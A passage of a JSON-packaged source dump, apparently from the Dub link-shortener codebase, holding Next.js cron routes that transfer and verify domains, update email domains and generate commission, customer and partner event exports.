    "content": "import { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { linkCache } from \"@/lib/api/links/cache\";\nimport { qstash } from \"@/lib/cron\";\nimport { verifyQstashSignature } from \"@/lib/cron/verify-qstash\";\nimport { recordLink } from \"@/lib/tinybird\";\nimport { prisma } from \"@dub/prisma\";\nimport { APP_DOMAIN_WITH_NGROK, log } from \"@dub/utils\";\nimport { NextResponse } from \"next/server\";\nimport * as z from \"zod/v4\";\nimport { sendDomainTransferredEmail } from \"./utils\";\n\nconst schema = z.object({\n  currentWorkspaceId: z.string(),\n  newWorkspaceId: z.string(),\n  domain: z.string(),\n});\n\nexport const dynamic = \"force-dynamic\";\n\nexport async function POST(req: Request) {\n  try {\n    const rawBody = await req.text();\n    await verifyQstashSignature({ req, rawBody });\n\n    const { currentWorkspaceId, newWorkspaceId, domain } = schema.parse(\n      JSON.parse(rawBody),\n    );\n\n    const links = await prisma.link.findMany({\n      where: { domain, projectId: currentWorkspaceId },\n      take: 100,\n      orderBy: {\n        createdAt: \"desc\",\n      },\n    });\n\n    // No remaining links to transfer\n    if (!links || links.length === 0) {\n      // Send email to the owner of the current workspace\n      const linksCount = await prisma.link.count({\n        where: { domain, projectId: newWorkspaceId },\n      });\n\n      await sendDomainTransferredEmail({\n        domain,\n        currentWorkspaceId,\n        newWorkspaceId,\n        linksCount,\n      });\n    } else {\n      // Transfer links to the new workspace\n      const linkIds = links.map((link) => link.id);\n\n      await Promise.all([\n        prisma.link.updateMany({\n          where: {\n            domain,\n            projectId: currentWorkspaceId,\n            id: {\n              in: linkIds,\n            },\n          },\n          data: {\n            projectId: newWorkspaceId,\n            // reset all stats and folder\n            clicks: 0,\n            leads: 0,\n            sales: 0,\n            saleAmount: 0,\n            conversions: 0,\n            lastClicked: null,\n            lastLeadAt: null,\n            lastConversionAt: null,\n            folderId: null,\n          },\n        }),\n\n        prisma.linkTag.deleteMany({\n          where: { linkId: { in: linkIds } },\n        }),\n\n        // Update links in redis\n        linkCache.mset(\n          links.map((link) => ({ ...link, projectId: newWorkspaceId })),\n        ),\n\n        // Remove the webhooks associated with the links\n        prisma.linkWebhook.deleteMany({\n          where: { linkId: { in: linkIds } },\n        }),\n\n        // set the links with the old workspace ID to be deleted in Tinybird\n        recordLink(links, { deleted: true }),\n\n        // set the links with the new workspace ID to be created in Tinybird\n        recordLink(\n          links.map((link) => ({\n            ...link,\n            projectId: newWorkspaceId,\n            folderId: null,\n          })),\n        ),\n      ]);\n\n      // wait 500 ms before making another request\n      await new Promise((resolve) => setTimeout(resolve, 500));\n\n      await qstash.publishJSON({\n        url: `${APP_DOMAIN_WITH_NGROK}/api/cron/domains/transfer`,\n        body: {\n          currentWorkspaceId,\n          newWorkspaceId,\n          domain,\n        },\n      });\n    }\n\n    return NextResponse.json({\n      response: \"success\",\n    });\n  } catch (error) {\n    await log({\n      message: `Error transferring domain: ${error.message}`,\n      type: \"cron\",\n    });\n\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/domains/transfer/utils.ts",
    "content": "import { sendEmail } from \"@dub/email\";\nimport DomainTransferred from \"@dub/email/templates/domain-transferred\";\nimport { prisma } from \"@dub/prisma\";\n\n// Send email to the owner after the domain transfer is completed\nexport const sendDomainTransferredEmail = async ({\n  domain,\n  currentWorkspaceId,\n  newWorkspaceId,\n  linksCount,\n}: {\n  domain: string;\n  currentWorkspaceId: string;\n  newWorkspaceId: string;\n  linksCount: number;\n}) => {\n  const currentWorkspace = await prisma.project.findUnique({\n    where: {\n      id: currentWorkspaceId,\n    },\n    select: {\n      users: {\n        where: {\n          role: \"owner\",\n        },\n        select: {\n          user: {\n            select: {\n              email: true,\n            },\n          },\n        },\n      },\n    },\n  });\n\n  const newWorkspace = await prisma.project.findUniqueOrThrow({\n    where: {\n      id: newWorkspaceId,\n    },\n    select: {\n      name: true,\n      slug: true,\n    },\n  });\n\n  const ownerEmail = currentWorkspace?.users[0]?.user?.email!;\n\n  await sendEmail({\n    subject: \"Domain transfer completed\",\n    to: ownerEmail,\n    react: DomainTransferred({\n      email: ownerEmail,\n      domain,\n      newWorkspace,\n      linksCount,\n    }),\n  });\n};\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/domains/update/route.ts",
    "content": "import {\n  linkDomainUpdateSchema,\n  queueDomainUpdate,\n} from \"@/lib/api/domains/queue-domain-update\";\nimport { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { linkCache } from \"@/lib/api/links/cache\";\nimport { includeProgramEnrollment } from \"@/lib/api/links/include-program-enrollment\";\nimport { includeTags } from \"@/lib/api/links/include-tags\";\nimport { verifyQstashSignature } from \"@/lib/cron/verify-qstash\";\nimport { recordLink } from \"@/lib/tinybird\";\nimport { prisma } from \"@dub/prisma\";\nimport { Link } from \"@dub/prisma/client\";\nimport { linkConstructorSimple } from \"@dub/utils\";\nimport { logAndRespond } from \"../../utils\";\n\nexport const dynamic = \"force-dynamic\";\n\nconst LINK_BATCH_SIZE = 100;\n\n// POST /api/cron/domains/update\nexport async function POST(req: Request) {\n  try {\n    const rawBody = await req.text();\n\n    await verifyQstashSignature({\n      req,\n      rawBody,\n    });\n\n    const payload = linkDomainUpdateSchema.parse(JSON.parse(rawBody));\n    const { newDomain, oldDomain, programId, startingAfter } = payload;\n\n    const newDomainRecord = await prisma.domain.findUnique({\n      where: {\n        slug: newDomain,\n      },\n    });\n\n    if (!newDomainRecord) {\n      return logAndRespond(`Domain ${newDomain} not found. Skipping...`);\n    }\n\n    const linksToUpdate = await prisma.link.findMany({\n      where: {\n        domain: oldDomain,\n        ...(programId && { programId }),\n      },\n      take: LINK_BATCH_SIZE,\n      ...(startingAfter && {\n        skip: 1,\n        cursor: {\n          id: startingAfter,\n        },\n      }),\n      orderBy: {\n        id: \"asc\",\n      },\n    });\n\n    if (linksToUpdate.length === 0) {\n      return logAndRespond(\n        `No more links to update for domain ${oldDomain}. Exiting...`,\n      );\n    }\n\n    const linkIdsToUpdate = linksToUpdate.map((link) => link.id);\n\n    try {\n      await prisma.link.updateMany({\n        where: {\n          id: {\n            in: linkIdsToUpdate,\n          },\n        },\n        data: {\n          domain: newDomain,\n        },\n      });\n    } catch (error) {\n      console.error(error);\n    }\n\n    const updatedLinks = await prisma.link.findMany({\n      where: {\n        id: {\n          in: linkIdsToUpdate,\n        },\n      },\n      include: {\n        ...includeTags,\n        ...includeProgramEnrollment,\n      },\n    });\n\n    await Promise.allSettled([\n      // update the `shortLink` field for each of the short links\n      updateShortLinks(updatedLinks),\n      // record new link values in Tinybird (dub_links_metadata)\n      recordLink(updatedLinks),\n      // expire the redis cache for the old links\n      linkCache.expireMany(linksToUpdate),\n    ]);\n\n    const response = await queueDomainUpdate({\n      ...payload,\n      startingAfter: linksToUpdate[linksToUpdate.length - 1].id,\n      delay: 1,\n    });\n\n    if (response.messageId) {\n      return logAndRespond(`Scheduled next batch ${response.messageId}.`);\n    } else {\n      return logAndRespond(\"Error scheduling next batch.\");\n    }\n  } catch (error) {\n    return handleAndReturnErrorResponse(error);\n  }\n}\n\n// Update the shortLink column for a list of links\nconst updateShortLinks = async (\n  links: Pick<Link, \"id\" | \"domain\" | \"key\">[],\n) => {\n  if (!links || links.length === 0) {\n    return new Response(\"No links found.\");\n  }\n\n  for (const link of links) {\n    await prisma.link.update({\n      where: {\n        id: link.id,\n      },\n      data: {\n        shortLink: linkConstructorSimple({\n          domain: link.domain,\n          key: link.key,\n        }),\n      },\n    });\n  }\n};\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/domains/verify/route.ts",
    "content": "import { getConfigResponse } from \"@/lib/api/domains/get-config-response\";\nimport { getDomainResponse } from \"@/lib/api/domains/get-domain-response\";\nimport { verifyDomain } from \"@/lib/api/domains/verify-domain\";\nimport { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { verifyVercelSignature } from \"@/lib/cron/verify-vercel\";\nimport { prisma } from \"@dub/prisma\";\nimport { log } from \"@dub/utils\";\nimport { NextResponse } from \"next/server\";\nimport { handleDomainUpdates } from \"./utils\";\n\n/**\n * Cron to check if domains are verified.\n * If a domain is invalid for more than 14 days, we send a reminder email to the workspace owner.\n * If a domain is invalid for more than 28 days, we send a second and final reminder email to the workspace owner.\n * If a domain is invalid for more than 30 days, we delete it from the database.\n **/\n// Runs every hour (0 * * * *)\n\nexport const dynamic = \"force-dynamic\";\n\nexport async function GET(req: Request) {\n  try {\n    await verifyVercelSignature(req);\n\n    const domains = await prisma.domain.findMany({\n      where: {\n        slug: {\n          // exclude domains that belong to us\n          notIn: [\n            \"dub.sh\",\n            \"chatg.pt\",\n            \"amzn.id\",\n            \"spti.fi\",\n            \"stey.me\",\n            \"steven.yt\",\n            \"steven.blue\",\n            \"owd.li\",\n            \"elegance.ai\",\n          ],\n        },\n      },\n      select: {\n        slug: true,\n        verified: true,\n        primary: true,\n        createdAt: true,\n      },\n      orderBy: {\n        lastChecked: \"asc\",\n      },\n      take: 30,\n    });\n\n    const results = await Promise.allSettled(\n      domains.map(async (domain) => {\n        const { slug, verified, primary, createdAt } = domain;\n        const [domainJson, configJson] = await Promise.all([\n          getDomainResponse(slug),\n          getConfigResponse(slug),\n        ]);\n\n        let newVerified;\n\n        if (domainJson?.error?.code === \"not_found\") {\n          newVerified = false;\n        } else if (!domainJson.verified) {\n          const verificationJson = await verifyDomain(slug);\n          if (verificationJson && verificationJson.verified) {\n            newVerified = true;\n          } else {\n            newVerified = false;\n          }\n        } else if (!configJson.misconfigured) {\n          newVerified = true;\n        } else {\n          newVerified = false;\n        }\n\n        const prismaResponse = await prisma.domain.update({\n          where: {\n            slug,\n          },\n          data: {\n            verified: newVerified,\n            lastChecked: new Date(),\n          },\n        });\n\n        const changed = newVerified !== verified;\n\n        const updates = await handleDomainUpdates({\n          domain: slug,\n          createdAt,\n          verified: newVerified,\n          primary,\n          changed,\n        });\n\n        return {\n          domain,\n          previousStatus: verified,\n          currentStatus: newVerified,\n          changed,\n          updates,\n          prismaResponse,\n        };\n      }),\n    );\n    return NextResponse.json(results);\n  } catch (error) {\n    await log({\n      message: \"Domains cron failed. Error: \" + error.message,\n      type: \"errors\",\n    });\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/domains/verify/utils.ts",
    "content": "import { markDomainAsDeleted } from \"@/lib/api/domains/mark-domain-deleted\";\nimport { sendBatchEmail } from \"@dub/email\";\nimport DomainDeleted from \"@dub/email/templates/domain-deleted\";\nimport InvalidDomain from \"@dub/email/templates/invalid-domain\";\nimport { prisma } from \"@dub/prisma\";\nimport { log } from \"@dub/utils\";\n\nexport const handleDomainUpdates = async ({\n  domain,\n  createdAt,\n  verified,\n  primary,\n  changed,\n}: {\n  domain: string;\n  createdAt: Date;\n  verified: boolean;\n  primary: boolean;\n  changed: boolean;\n}) => {\n  if (changed) {\n    await log({\n      message: `Domain *${domain}* changed status to *${verified}*`,\n      type: \"cron\",\n    });\n  }\n\n  if (verified) return;\n\n  const invalidDays = Math.floor(\n    (new Date().getTime() - new Date(createdAt).getTime()) / (1000 * 3600 * 24),\n  );\n\n  // do nothing if domain is invalid for less than 14 days\n  if (invalidDays < 14) return;\n\n  const workspace = await prisma.project.findFirst({\n    where: {\n      domains: {\n        some: {\n          slug: domain,\n        },\n      },\n    },\n    select: {\n      id: true,\n      name: true,\n      slug: true,\n      sentEmails: true,\n      usage: true,\n      users: {\n        select: {\n          user: {\n            select: {\n              email: true,\n            },\n          },\n        },\n        where: {\n          user: {\n            isMachine: false,\n          },\n          notificationPreference: {\n            domainConfigurationUpdates: true,\n          },\n        },\n      },\n    },\n  });\n  if (!workspace) {\n    await log({\n      message: `Domain *${domain}* is invalid but not associated with any workspace, skipping.`,\n      type: \"cron\",\n    });\n    return;\n  }\n  const workspaceSlug = workspace.slug;\n  const sentEmails = workspace.sentEmails.map((email) => email.type);\n  const emails = workspace.users.map((user) => user.user.email) as string[];\n\n  // if domain is invalid for more than 30 days, check if we can delete it\n  if (invalidDays >= 30) {\n    // Don't delete the domain (manual inspection required)\n    // if the links for the domain have clicks recorded\n    const linksClicks = await prisma.link.aggregate({\n      _sum: {\n        clicks: true,\n      },\n      where: {\n        domain,\n      },\n    });\n    if (linksClicks._sum.clicks && linksClicks._sum.clicks > 0) {\n      return await log({\n        message: `Domain *${domain}* has been invalid for > 30 days but has links with clicks, skipping.`,\n        type: \"cron\",\n      });\n    }\n\n    // else, delete the domain\n    return await Promise.allSettled([\n      markDomainAsDeleted({\n        domain,\n      }).then(async () => {\n        // if the deleted domain was primary, make another domain primary\n        if (primary) {\n          const anotherDomain = await prisma.domain.findFirst({\n            where: {\n              projectId: workspace.id,\n            },\n          });\n          if (!anotherDomain) return;\n          return prisma.domain.update({\n            where: {\n              slug: anotherDomain.slug,\n            },\n            data: {\n              primary: true,\n            },\n          });\n        }\n      }),\n      log({\n        message: `Domain *${domain}* has been invalid for > 30 days andhas links but no link clicks, deleting.`,\n        type: \"cron\",\n      }),\n      sendBatchEmail(\n        emails.map((email) => ({\n          subject: `Your domain ${domain} has been deleted`,\n          to: email,\n          react: DomainDeleted({\n            email,\n            domain,\n            workspaceSlug,\n          }),\n          variant: \"notifications\",\n        })),\n      ),\n    ]);\n  }\n\n  if (invalidDays >= 28) {\n    const sentSecondDomainInvalidEmail = sentEmails.includes(\n      `secondDomainInvalidEmail:${domain}`,\n    );\n    if (!sentSecondDomainInvalidEmail) {\n      return sendDomainInvalidEmail({\n        workspaceSlug,\n        domain,\n        invalidDays,\n        emails,\n        type: \"second\",\n      });\n    }\n  }\n\n  if (invalidDays >= 14) {\n    const sentFirstDomainInvalidEmail = sentEmails.includes(\n      `firstDomainInvalidEmail:${domain}`,\n    );\n    if (!sentFirstDomainInvalidEmail) {\n      return sendDomainInvalidEmail({\n        workspaceSlug,\n        domain,\n        invalidDays,\n        emails,\n        type: \"first\",\n      });\n    }\n  }\n  return;\n};\n\nconst sendDomainInvalidEmail = async ({\n  workspaceSlug,\n  domain,\n  invalidDays,\n  emails,\n  type,\n}: {\n  workspaceSlug: string;\n  domain: string;\n  invalidDays: number;\n  emails: string[];\n  type: \"first\" | \"second\";\n}) => {\n  return await Promise.allSettled([\n    log({\n      message: `Domain *${domain}* is invalid for ${invalidDays} days, email sent.`,\n      type: \"cron\",\n    }),\n    sendBatchEmail(\n      emails.map((email) => ({\n        subject: `Your domain ${domain} needs to be configured`,\n        to: email,\n        react: InvalidDomain({\n          email,\n          domain,\n          workspaceSlug,\n          invalidDays,\n        }),\n        variant: \"notifications\",\n      })),\n    ),\n    prisma.sentEmail.create({\n      data: {\n        project: {\n          connect: {\n            slug: workspaceSlug,\n          },\n        },\n        type: `${type}DomainInvalidEmail:${domain}`,\n      },\n    }),\n  ]);\n};\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/email-domains/update/route.ts",
    "content": "import { withCron } from \"@/lib/cron/with-cron\";\nimport { resend } from \"@dub/email/resend/client\";\nimport { prisma } from \"@dub/prisma\";\nimport * as z from \"zod/v4\";\nimport { logAndRespond } from \"../../utils\";\n\nconst schema = z.object({\n  domainId: z.string(),\n});\n\nexport const dynamic = \"force-dynamic\";\n\n// POST /api/cron/email-domains/update\n// Update the Resend domain to enable click tracking\nexport const POST = withCron(async ({ rawBody }) => {\n  const { domainId } = schema.parse(JSON.parse(rawBody));\n\n  if (!resend) {\n    return logAndRespond(\"Resend is not configured. Skipping update...\");\n  }\n\n  const domainRecord = await prisma.emailDomain.findUnique({\n    where: {\n      id: domainId,\n    },\n    select: {\n      slug: true,\n      resendDomainId: true,\n    },\n  });\n\n  if (!domainRecord) {\n    return logAndRespond(`Domain ${domainId} not found. Skipping update...`);\n  }\n\n  if (!domainRecord.resendDomainId) {\n    return logAndRespond(\n      `Resend domain ID is not found for domain ${domainRecord.slug}. Skipping update...`,\n    );\n  }\n\n  const { error } = await resend.domains.update({\n    id: domainRecord.resendDomainId,\n    openTracking: true,\n    clickTracking: false,\n    tls: \"enforced\",\n  });\n\n  // This will be retried by QStash if it fails.\n  if (error) {\n    throw new Error(error.message);\n  }\n\n  return logAndRespond(`Domain ${domainRecord.slug} updated successfully.`);\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/email-domains/verify/route.ts",
    "content": "import { getWorkspaceUsers } from \"@/lib/api/get-workspace-users\";\nimport { withCron } from \"@/lib/cron/with-cron\";\nimport { sendBatchEmail } from \"@dub/email\";\nimport { resend } from \"@dub/email/resend/client\";\nimport EmailDomainStatusChanged from \"@dub/email/templates/email-domain-status-changed\";\nimport { prisma } from \"@dub/prisma\";\nimport { EmailDomain } from \"@dub/prisma/client\";\nimport { logAndRespond } from \"../../utils\";\n\nexport const dynamic = \"force-dynamic\";\n\n// GET /api/cron/email-domains/verify\n// Runs every hour (0 * * * *)\nexport const GET = withCron(async () => {\n  if (!resend) {\n    return logAndRespond(\"Resend is not configured. Skipping verification...\");\n  }\n\n  const domains = await prisma.emailDomain.findMany({\n    where: {\n      resendDomainId: {\n        not: null,\n      },\n    },\n    orderBy: {\n      lastChecked: \"asc\",\n    },\n    take: 10,\n  });\n\n  if (domains.length === 0) {\n    return logAndRespond(\"No email domains to check the verification status.\");\n  }\n\n  for (const domain of domains) {\n    try {\n      await verifyEmailDomain(domain);\n    } catch (error) {\n      console.error(`Failed to verify domain ${domain.slug}:`, error);\n    }\n  }\n\n  return logAndRespond(\"Email domains verification status checked.\");\n});\n\n// Checks the verification status of an email domain\nasync function verifyEmailDomain(domain: EmailDomain) {\n  if (!domain.resendDomainId) {\n    return;\n  }\n\n  const { data: resendDomain, error } = await resend!.domains.get(\n    domain.resendDomainId,\n  );\n\n  if (error) {\n    return;\n  }\n\n  const updatedDomain = await prisma.emailDomain.update({\n    where: {\n      id: domain.id,\n    },\n    data: {\n      status: resendDomain.status,\n      lastChecked: new Date(),\n    },\n  });\n\n  const statusChanged = updatedDomain.status !== domain.status;\n\n  // Do nothing if the status has not changed\n  if (!statusChanged) {\n    console.log(\n      `Email domain ${domain.slug} status has not changed. Skipping email notification...`,\n    );\n\n    return;\n  }\n\n  console.log(\n    `Email domain ${domain.slug} status changed from ${domain.status} to ${updatedDomain.status}`,\n  );\n\n  const { users, ...workspace } = await getWorkspaceUsers({\n    role: \"owner\",\n    workspaceId: domain.workspaceId,\n    notificationPreference: \"domainConfigurationUpdates\",\n  });\n\n  if (users.length === 0) {\n    console.log(\n      `No workspace owners found for domain ${domain.slug}. Skipping email notification...`,\n    );\n    return;\n  }\n\n  const subject =\n    updatedDomain.status === \"verified\"\n      ? \"Your email domain has been verified\"\n      : updatedDomain.status === \"failed\"\n        ? \"Your email domain verification has failed\"\n        : \"Your email domain status has changed\";\n\n  const resendResponse = await sendBatchEmail(\n    users.map((user) => ({\n      variant: \"notifications\",\n      subject,\n      to: user.email,\n      react: EmailDomainStatusChanged({\n        domain: domain.slug,\n        oldStatus: domain.status,\n        newStatus: updatedDomain.status,\n        email: user.email,\n        workspace: {\n          slug: workspace.slug,\n          name: workspace.name,\n        },\n      }),\n    })),\n  );\n\n  if (resendResponse.error) {\n    console.error(\n      `Failed to send email notification for domain ${domain.slug}:`,\n      resendResponse.error,\n    );\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/export/commissions/fetch-commissions-batch.ts",
    "content": "import { getCommissions } from \"@/lib/api/commissions/get-commissions\";\nimport { getCommissionsQuerySchema } from \"@/lib/zod/schemas/commissions\";\nimport * as z from \"zod/v4\";\n\ntype CommissionFilters = Omit<\n  z.infer<typeof getCommissionsQuerySchema>,\n  \"page\" | \"pageSize\"\n> & {\n  programId: string;\n};\n\nexport async function* fetchCommissionsBatch(\n  filters: CommissionFilters,\n  pageSize: number = 1000,\n) {\n  let page = 1;\n  let hasMore = true;\n\n  while (hasMore) {\n    const commissions = await getCommissions({\n      ...filters,\n      page,\n      pageSize,\n    });\n\n    if (commissions.length > 0) {\n      yield { commissions };\n      page++;\n      hasMore = commissions.length === pageSize;\n    } else {\n      hasMore = false;\n    }\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/export/commissions/route.ts",
    "content": "import { convertToCSV } from \"@/lib/analytics/utils/convert-to-csv\";\nimport { formatCommissionsForExport } from \"@/lib/api/commissions/format-commissions-for-export\";\nimport { createDownloadableExport } from \"@/lib/api/create-downloadable-export\";\nimport { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { generateExportFilename } from \"@/lib/api/utils/generate-export-filename\";\nimport { generateRandomString } from \"@/lib/api/utils/generate-random-string\";\nimport { verifyQstashSignature } from \"@/lib/cron/verify-qstash\";\nimport { commissionsExportQuerySchema } from \"@/lib/zod/schemas/commissions\";\nimport { sendEmail } from \"@dub/email\";\nimport ExportReady from \"@dub/email/templates/export-ready\";\nimport { prisma } from \"@dub/prisma\";\nimport { log } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\nimport { logAndRespond } from \"../../utils\";\nimport { fetchCommissionsBatch } from \"./fetch-commissions-batch\";\n\nconst payloadSchema = commissionsExportQuerySchema.extend({\n  programId: z.string(),\n  userId: z.string(),\n});\n\n// POST /api/cron/export/commissions - QStash worker for processing large commission exports\nexport async function POST(req: Request) {\n  try {\n    const rawBody = await req.text();\n\n    await verifyQstashSignature({\n      req,\n      rawBody,\n    });\n\n    let { programId, columns, userId, ...filters } = payloadSchema.parse(\n      JSON.parse(rawBody),\n    );\n\n    const user = await prisma.user.findUnique({\n      where: {\n        id: userId,\n      },\n      select: {\n        email: true,\n      },\n    });\n\n    if (!user) {\n      return logAndRespond(`User ${userId} not found. Skipping the export.`);\n    }\n\n    if (!user.email) {\n      return logAndRespond(`User ${userId} has no email. Skipping the export.`);\n    }\n\n    const program = await prisma.program.findUnique({\n      where: {\n        id: programId,\n      },\n      select: {\n        name: true,\n      },\n    });\n\n    if (!program) {\n      return logAndRespond(\n        `Program ${programId} not found. Skipping the export.`,\n      );\n    }\n\n    // Fetch commissions in batches and build CSV\n    const allCommissions: any[] = [];\n    const commissionsFilters = {\n      ...filters,\n      programId,\n    };\n\n    for await (const { commissions } of fetchCommissionsBatch(\n      commissionsFilters,\n    )) {\n      allCommissions.push(...formatCommissionsForExport(commissions, columns));\n    }\n\n    const csvData = convertToCSV(allCommissions);\n\n    const { downloadUrl } = await createDownloadableExport({\n      fileKey: `exports/commissions/${generateRandomString(16)}.csv`,\n      fileName: generateExportFilename(\"commissions\"),\n      body: csvData,\n      contentType: \"text/csv\",\n    });\n\n    await sendEmail({\n      to: user.email,\n      subject: \"Your commissions export is ready\",\n      react: ExportReady({\n        email: user.email,\n        exportType: \"commissions\",\n        downloadUrl,\n        program: {\n          name: program.name,\n        },\n      }),\n    });\n\n    return logAndRespond(\n      `Export (${allCommissions.length} commissions) generated and email sent to user.`,\n    );\n  } catch (error) {\n    await log({\n      message: `Error exporting commissions: ${error.message}`,\n      type: \"cron\",\n    });\n\n    return handleAndReturnErrorResponse(error);\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/export/customers/route.ts",
    "content": "import { convertToCSV } from \"@/lib/analytics/utils/convert-to-csv\";\nimport { createDownloadableExport } from \"@/lib/api/create-downloadable-export\";\nimport { generateExportFilename } from \"@/lib/api/utils/generate-export-filename\";\nimport { generateRandomString } from \"@/lib/api/utils/generate-random-string\";\nimport { withCron } from \"@/lib/cron/with-cron\";\nimport { fetchCustomersBatch } from \"@/lib/customers/api/fetch-customers-batch\";\nimport { formatCustomersForExport } from \"@/lib/customers/api/format-customers-export\";\nimport { customersExportCronInputSchema } from \"@/lib/zod/schemas/customers\";\nimport { sendEmail } from \"@dub/email\";\nimport ExportReady from \"@dub/email/templates/export-ready\";\nimport { prisma } from \"@dub/prisma\";\nimport { logAndRespond } from \"../../utils\";\n\nconst MAX_CUSTOMERS_EXPORT_LIMIT = 100_000;\n\nexport const dynamic = \"force-dynamic\";\n\n// POST /api/cron/export/customers - QStash worker for processing large customer exports\nexport const POST = withCron(async ({ rawBody }) => {\n  const parsedFilters = customersExportCronInputSchema.parse(\n    JSON.parse(rawBody),\n  );\n\n  const { workspaceId, userId, columns } = parsedFilters;\n\n  const user = await prisma.user.findUnique({\n    where: {\n      id: userId,\n    },\n    select: {\n      email: true,\n    },\n  });\n\n  if (!user) {\n    return logAndRespond(`User ${userId} not found.`);\n  }\n\n  if (!user.email) {\n    return logAndRespond(`User ${userId} has no email.`);\n  }\n\n  const workspace = await prisma.project.findUnique({\n    where: {\n      id: workspaceId,\n    },\n    select: {\n      name: true,\n    },\n  });\n\n  if (!workspace) {\n    return logAndRespond(`Workspace ${workspaceId} not found.`);\n  }\n\n  const allRows: Record<string, string | number>[] = [];\n\n  for await (const { customers } of fetchCustomersBatch(parsedFilters)) {\n    const formatted = formatCustomersForExport(customers, columns);\n    const remaining = MAX_CUSTOMERS_EXPORT_LIMIT - allRows.length;\n\n    if (remaining <= 0) {\n      break;\n    }\n\n    allRows.push(...formatted.slice(0, remaining));\n  }\n\n  const csvData = convertToCSV(allRows);\n\n  const { downloadUrl } = await createDownloadableExport({\n    fileKey: `exports/customers/${generateRandomString(16)}.csv`,\n    fileName: generateExportFilename(\"customers\"),\n    body: csvData,\n    contentType: \"text/csv\",\n  });\n\n  await sendEmail({\n    to: user.email,\n    subject: \"Your customers export is ready\",\n    react: ExportReady({\n      email: user.email,\n      exportType: \"customers\",\n      downloadUrl,\n      workspace: {\n        name: workspace.name,\n      },\n    }),\n  });\n\n  const capped =\n    allRows.length >= MAX_CUSTOMERS_EXPORT_LIMIT\n      ? ` (capped at ${MAX_CUSTOMERS_EXPORT_LIMIT})`\n      : \"\";\n\n  return logAndRespond(\n    `Export (${allRows.length} customers${capped}) generated and email sent to user.`,\n  );\n});\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/export/events/fetch-events-batch.ts",
    "content": "import { getEvents } from \"@/lib/analytics/get-events\";\nimport { EventsFilters } from \"@/lib/analytics/types\";\n\nexport async function* fetchEventsBatch(\n  filters: Omit<EventsFilters, \"page\" | \"limit\">,\n  pageSize: number = 1000,\n) {\n  let page = 1;\n  let hasMore = true;\n\n  while (hasMore) {\n    const events = await getEvents({\n      ...filters,\n      page,\n      limit: pageSize,\n    });\n\n    if (events.length > 0) {\n      yield { events };\n      page++;\n      hasMore = events.length === pageSize;\n    } else {\n      hasMore = false;\n    }\n  }\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/api/cron/export/events/partner/route.ts",
    "content": "import {\n  eventsExportColumnAccessors,\n  eventsExportColumnNames,\n} from \"@/lib/analytics/events-export-helpers\";\nimport { getFirstFilterValue } from \"@/lib/analytics/filter-helpers\";\nimport { convertToCSV } from \"@/lib/analytics/utils/convert-to-csv\";\nimport { createDownloadableExport } from \"@/lib/api/create-downloadable-export\";\nimport { handleAndReturnErrorResponse } from \"@/lib/api/errors\";\nimport { obfuscateCustomerEmail } from \"@/lib/api/partner-profile/obfuscate-customer-email\";\nimport { getProgramEnrollmentOrThrow } from \"@/lib/api/programs/get-program-enrollment-or-throw\";\nimport { generateExportFilename } from \"@/lib/api/utils/generate-export-filename\";\nimport { generateRandomString } from \"@/lib/api/utils/generate-random-string\";\nimport { MAX_PARTNER_LINKS_FOR_LOCAL_FILTERING } from \"@/lib/constants/partner-profile\";\nimport { verifyQstashSignature } from \"@/lib/cron/verify-qstash\";\nimport { generateRandomName } from \"@/lib/names\";\nimport {\n  partnerProfileEventsQuerySchema,\n  PartnerProfileLinkSchema,\n} from \"@/lib/zod/schemas/partner-profile\";\nimport { sendEmail } from \"@dub/email\";\nimport ExportReady from \"@dub/email/templates/export-ready\";\nimport { prisma } from \"@dub/prisma\";\nimport { capitalize, log, parseFilterValue } from \"@dub/utils\";\nimport * as z from \"zod/v4\";\nimport { logAndRespond } from \"../../../utils\";\nimport { fetchEventsBatch } from \"../fetch-events-batch\";\n\nconst payloadSchema = partnerProfileEventsQuerySchema.extend({\n  columns: z\n    .string()\n    .transform((c) => c.split(\",\"))\n    .pipe(z.string().array()),\n  partnerId: z.string(),\n  programId: z.string(),\n  userId: z.string(),\n});\n\n// POST /api/cron/export/events/partner - QStash worker for processing large partner event exports\nexport async function POST(req: Request) {\n  try {\n    const rawBody = await req.text();\n\n    await verifyQstashSignature({\n      req,\n      rawBody,\n    });\n\n    const { columns, partnerId, programId, userId, ...parsedParams } =\n      payloadSchema.parse(JSON.parse(rawBody));\n\n    const user = await prisma.user.findUnique({\n      where: {\n        id: userId,\n      },\n      select: {\n        email: true,\n      },\n    });\n\n    if (!user) {\n      return logAndRespond(`User ${userId} not found. Skipping the export.`);\n    }\n\n    if (!user.email) {\n      return logAndRespond(`User ${userId} has no email. Skipping the export.`);\n    }\n\n    const { program, links, customerDataSharingEnabledAt } =\n      await getProgramEnrollmentOrThrow({\n        partnerId,\n        programId,\n        include: {\n          program: true,\n          links: true,\n        },\n      });\n\n    // If no links, return early with empty export\n    if (links.length === 0) {\n      return logAndRespond(\"No links found. Skipping the export.\");\n    }\n\n    const { linkId, domain, key } = parsedParams;\n\n    if (linkId) {\n      // check to make sure all of the linkId.values are in the links\n      if (\n        !linkId.values.every((value) => links.some((link) => link.id === value))\n      ) {\n        return logAndRespond(\n          \"One or more links are not found. Skipping the export.\",\n        );\n      }\n    } else if (domain && key) {\n      const link = links.find(\n        (link) =>\n          link.domain === getFirstFilterValue(domain) && link.key === key,\n      );\n      if (!link) {\n        return logAndRespond(\"Link not found. Skipping the export.\");\n      }\n\n      parsedParams.linkId = {\n        operator: \"IS\",\n        sqlOperator: \"IN\",\n        values: [link.id],\n      };\n    }\n\n    // Fetch events in batches and build 